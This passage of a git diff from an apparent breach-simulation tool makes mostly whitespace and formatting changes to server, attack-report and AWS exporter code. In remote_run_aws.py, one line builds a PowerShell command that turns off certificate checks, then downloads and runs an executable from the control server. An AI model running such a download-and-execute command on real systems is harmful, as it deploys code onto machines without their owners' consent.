+ "backupCount": 20,
+ "encoding": "utf8"
+ }
+ },
+ "root": {
+ "level": "DEBUG",
+ "handlers": [
+ "console",
+ "info_file_handler"
+ ]
+ }
}
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index c3c762dbc..17c537aeb 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
+
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index 324903809..8d0ed42ad 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
+
# instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 3c10ca7d7..0d12f9785 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2)
-
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
index d61478641..c7190d0f1 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
"""
+
def test_save_finding_validation(self):
self.fail_if_not_testing_env()
self.clean_finding_db()
diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py
index da7651f24..803fb5453 100644
--- a/monkey/monkey_island/cc/resources/attack/attack_config.py
+++ b/monkey/monkey_island/cc/resources/attack/attack_config.py
@@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}
-
diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py
index 54a16f518..41f5fa417 100644
--- a/monkey/monkey_island/cc/resources/local_run.py
+++ b/monkey/monkey_island/cc/resources/local_run.py
@@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak'
import logging
+
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py
index 8e523a8a7..3e3ef40c0 100644
--- a/monkey/monkey_island/cc/resources/monkey.py
+++ b/monkey/monkey_island/cc/resources/monkey.py
@@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
+
# TODO: separate logic from interface
diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py
index ed83414f5..3b7e471d8 100644
--- a/monkey/monkey_island/cc/resources/netmap.py
+++ b/monkey/monkey_island/cc/resources/netmap.py
@@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}
-
-
diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py
index 5b567e8e4..de85fc291 100644
--- a/monkey/monkey_island/cc/resources/pba_file_download.py
+++ b/monkey/monkey_island/cc/resources/pba_file_download.py
@@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
+
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)
diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py
index 0d924a742..3a636459c 100644
--- a/monkey/monkey_island/cc/resources/pba_file_upload.py
+++ b/monkey/monkey_island/cc/resources/pba_file_upload.py
@@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
+
@jwt_required()
def get(self, file_type):
"""
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
index 5b416e60b..961e745a8 100644
--- a/monkey/monkey_island/cc/resources/reporting/report.py
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -1,6 +1,5 @@
import http.client
-
import flask_restful
from flask import jsonify
@@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
elif report_type == ZERO_TRUST_REPORT_TYPE:
if report_data == REPORT_DATA_PILLARS:
return jsonify({
- "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
- "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
- "grades": ZeroTrustService.get_pillars_grades()
- }
+ "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
+ "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
+ "grades": ZeroTrustService.get_pillars_grades()
+ }
)
elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
return jsonify(ZeroTrustService.get_principles_status())
diff --git a/monkey/monkey_island/cc/resources/representations_test.py b/monkey/monkey_island/cc/resources/representations_test.py
index 714c70ed2..c50394117 100644
--- a/monkey/monkey_island/cc/resources/representations_test.py
+++ b/monkey/monkey_island/cc/resources/representations_test.py
@@ -37,12 +37,12 @@ class TestJsonRepresentations(TestCase):
# dicts and lists
self.assertEqual({
- "a": [
- {"ba": obj_id_str,
- "bb": obj_id_str}
- ],
- "b": {"id": obj_id_str}
- },
+ "a": [
+ {"ba": obj_id_str,
+ "bb": obj_id_str}
+ ],
+ "b": {"id": obj_id_str}
+ },
normalize_obj({
"a": [
{"ba": bson.objectid.ObjectId(obj_id_str),
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index a655c5f9f..8a8c750b4 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
- telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
-
+ telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
+ \
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:
diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py
index e592e7214..ef4ff708d 100644
--- a/monkey/monkey_island/cc/resources/test/log_test.py
+++ b/monkey/monkey_island/cc/resources/test/log_test.py
@@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
-
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database
diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 0b28d0b74..420f1b303 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
{
- "server_config": "standard",
- "deployment": "develop"
+ "server_config": "standard",
+ "deployment": "develop"
}
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 1c18f7654..10005bd26 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
-
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
- report =\
+ report = \
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index 2b49f264d..8039a2e76 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
-
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
index b84fe4a6f..2a39fad02 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
-
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
index 43d7c42b0..9249020dc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
-
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
index a955f6cc9..3498029c9 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
-
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
index d22583359..3fc29259b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
-
__author__ = "VakarisZ"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
index 1342b646e..ae3342355 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
-
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index ef15dd9fd..a2eb3ffd0 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique):
-
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
index 7d8ceb93e..f8eb9aa3e 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique):
-
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 623d157ae..655da767d 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique):
-
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
index bc2645bb9..726910789 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique):
-
tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = ""
@@ -22,17 +21,17 @@ class T1082(AttackTechnique):
{'$project': {'_id': 0,
'machine': 1,
'collections': [
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
- 'name': {'$literal': 'Amazon Web Services info'}},
- {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
- 'name': {'$literal': 'Running process list'}},
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
- 'name': {'$literal': 'Network connections'}},
- {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
- 'name': {'$literal': 'SSH info'}},
- {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
- 'name': {'$literal': 'Azure info'}}
- ]}},
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
+ 'name': {'$literal': 'Amazon Web Services info'}},
+ {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
+ 'name': {'$literal': 'Running process list'}},
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
+ 'name': {'$literal': 'Network connections'}},
+ {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
+ 'name': {'$literal': 'SSH info'}},
+ {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
+ 'name': {'$literal': 'Azure info'}}
+ ]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index dd5d64d25..fe4b6ccec 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique):
-
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
index 7a6c830b8..f5702ede8 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique):
-
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
@@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data
-
-
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
index 3d95fd88d..6ae8037bc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique):
-
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 72bb0af76..a28dc5aeb 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
-
-
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
index 32187696a..3959302fa 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique):
-
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index eeae183f5..5b9a23c62 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique):
-
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
@@ -30,8 +29,8 @@ class T1210(AttackTechnique):
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
- {'$sort': {'data.service_count': -1}},
- {'$group': {
+ {'$sort': {'data.service_count': -1}},
+ {'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 641da8055..41c218099 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
-
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
@@ -266,11 +265,11 @@ class ConfigService:
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
- ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
+ ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
- parent_config_arr[config_arr_as_array[-1]] =\
+ parent_config_arr[config_arr_as_array[-1]] = \
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod
diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py
index 62e370e44..7062d71c3 100644
--- a/monkey/monkey_island/cc/services/database.py
+++ b/monkey/monkey_island/cc/services/database.py
@@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
-
logger = logging.getLogger(__name__)
@@ -28,4 +27,3 @@ class Database(object):
def init_db():
if not mongo.db.collection_names():
Database.reset_db()
-
diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py
index 77b28bdd4..be6aae12d 100644
--- a/monkey/monkey_island/cc/services/island_logs.py
+++ b/monkey/monkey_island/cc/services/island_logs.py
@@ -1,4 +1,5 @@
import logging
+
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py
index 4b88473fe..e2ab8ec10 100644
--- a/monkey/monkey_island/cc/services/mimikatz_utils.py
+++ b/monkey/monkey_island/cc/services/mimikatz_utils.py
@@ -1,4 +1,3 @@
-
__author__ = 'maor.rayzin'
diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py
index c81e0bc4a..9627bf74c 100644
--- a/monkey/monkey_island/cc/services/remote_run_aws.py
+++ b/monkey/monkey_island/cc/services/remote_run_aws.py
@@ -130,7 +130,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
- r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
+ r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index f0b6bdb6a..19293f991 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -208,9 +208,9 @@ class AWSExporter(Exporter):
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
"over the SSH protocol with private key {ssh_key}.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- ssh_key=issue['ssh_key']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -224,8 +224,8 @@ class AWSExporter(Exporter):
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
- issue['machine'],
- issue['ip_address']),
+ issue['machine'],
+ issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -269,7 +269,7 @@ class AWSExporter(Exporter):
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format(
- issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
+ issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -284,9 +284,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format(
- issue['machine'],
- issue['ip_address'],
- issue['username']),
+ issue['machine'],
+ issue['ip_address'],
+ issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -301,9 +301,9 @@ class AWSExporter(Exporter):
"network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -318,9 +318,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -361,7 +361,7 @@ class AWSExporter(Exporter):
description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format(
- services=issue['services'], threatening_users=issue['threatening_users']),
+ services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
index f64d4b4aa..903af1628 100644
--- a/monkey/monkey_island/cc/services/reporting/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env
+
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
index 7c709f862..b5a628fb1 100644
--- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py
+++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
@@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
self.assertEqual(map_nodes[0]["group"], "critical")
self.assertEqual(len(map_nodes[0]["services"]), 2)
self.assertEqual(map_nodes[0]["hostname"], hostname)
-
-
-
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index a43da8416..98b99ac13 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -306,7 +306,7 @@ class TestZeroTrustService(IslandTestCase):
def compare_lists_no_order(s, t):
- t = list(t) # make a mutable copy
+ t = list(t) # make a mutable copy
try:
for elem in s:
t.remove(elem)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index b0e2eb8b7..e6ac8734b 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
-
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
index b4efd3c3a..626a4cc52 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
- "from `{src_seg}` segments to `{dst_seg}` segments."
+ "from `{src_seg}` segments to `{dst_seg}` segments."
SEGMENTATION_VIOLATION_EVENT_TEXT = \
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
@@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event(
title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format(
- hostname=current_monkey.hostname,
- src_seg=subnet_pair[0],
- dst_seg=subnet_pair[1]),
+ hostname=current_monkey.hostname,
+ src_seg=subnet_pair[0],
+ dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_MONKEY_NETWORK
)
diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py
index 3d43017f6..c1dab52a9 100644
--- a/monkey/monkey_island/cc/services/version_update.py
+++ b/monkey/monkey_island/cc/services/version_update.py
@@ -54,4 +54,3 @@ class VersionUpdateService:
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
-
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
index 2522b42dd..a802aabf1 100644
